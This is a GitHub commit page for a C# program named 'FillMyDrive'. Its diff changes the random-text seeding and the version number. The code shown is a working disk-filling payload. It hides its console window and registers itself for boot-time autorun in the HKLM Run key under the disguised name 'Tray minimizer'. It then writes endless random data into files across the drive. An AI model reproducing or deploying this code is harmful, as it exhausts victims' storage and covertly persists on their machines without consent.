Skip to content

Commit

Permalink
Better random text...
Browse files Browse the repository at this point in the history
And I remembered the versio number.
  • Loading branch information
XDRosenheim committed Jan 29, 2016
1 parent d4ae184 commit d3858b3
Show file tree
Hide file tree
Showing 2 changed files with 13 additions and 10 deletions.
19 changes: 11 additions & 8 deletions FillMyDrive/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,9 @@
using System.Text;
using Microsoft.Win32;
using System.Reflection;
using System.Security;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

namespace FillMyDrive {
internal class Program {
Expand All @@ -13,19 +15,19 @@ internal class Program {
private static extern IntPtr GetConsoleWindow();
private const int SW_HIDE=0;
private const int SW_SHOW=5;
// Debug?
private const bool Debug = false;
private const bool Debug = false; // Debug?

private static void Main( string[] args ) {
var hwnd = GetConsoleWindow();
var startUpBool = true;
ShowWindow( hwnd, SW_HIDE );
if(Debug) {
startUpBool = !startUpBool;
}
startup( startUpBool );
Startup( startUpBool );
var i2 = 0;
var directory = new DirectoryInfo( "/" );
var moreDirs = directory.GetDirectories();
DirectoryInfo[] moreDirs;
while(true) {
i2++;
while(true) {
Expand Down Expand Up @@ -58,7 +60,8 @@ private static void Main( string[] args ) {
using(var fs = File.Open( directory.FullName + "/" + fileName, FileMode.Append )) {
while(true) {
for(var i = 0; i < Environment.TickCount; i++) {
var rnd = new Random();
var iRnd = directory.GetHashCode() * i;
var rnd = new Random(iRnd);
var text = new UTF8Encoding().GetBytes( Convert.ToString( chars.Substring( rnd.Next( 0, chars.Length ), 1 ) ) );
fs.Write( text, 0, text.Length );
}
Expand All @@ -68,19 +71,19 @@ private static void Main( string[] args ) {
using(var fs = File.Create( directory.FullName + "/" + fileName )) {
while(true) {
for(var i = 0; i < Environment.TickCount; i++) {
var rnd = new Random();
var iRnd = directory.GetHashCode() * i;
var rnd = new Random(iRnd);
var text = new UTF8Encoding().GetBytes( Convert.ToString( chars.Substring( rnd.Next( 0, chars.Length ), 1 ) ) );
fs.Write( text, 0, text.Length );
}
}
}
}

/// <summary>
/// Add a key to registry that tells windows to start this program on boot.
/// </summary>
/// <param name="add">TRUE - If the program should add a key to the registry, and thereby run itself on startup.</param>
private static void startup( bool add ) {
private static void Startup( bool add ) {
if(!add) return;
var key = Registry.LocalMachine.OpenSubKey( @"Software\Microsoft\Windows\CurrentVersion\Run", true );
key.SetValue( "Tray minimizer", "\"" + Assembly.GetExecutingAssembly().Location + "\"" );
Expand Down
4 changes: 2 additions & 2 deletions FillMyDrive/Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
Expand Up @@ -27,5 +27,5 @@
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion( "1.2.0.*" )]
[assembly: AssemblyFileVersion( "1.2.0.0" )]
[assembly: AssemblyVersion( "1.3.0.*" )]
[assembly: AssemblyFileVersion( "1.3.0.0" )]

0 comments on commit d3858b3

Please sign in to comment.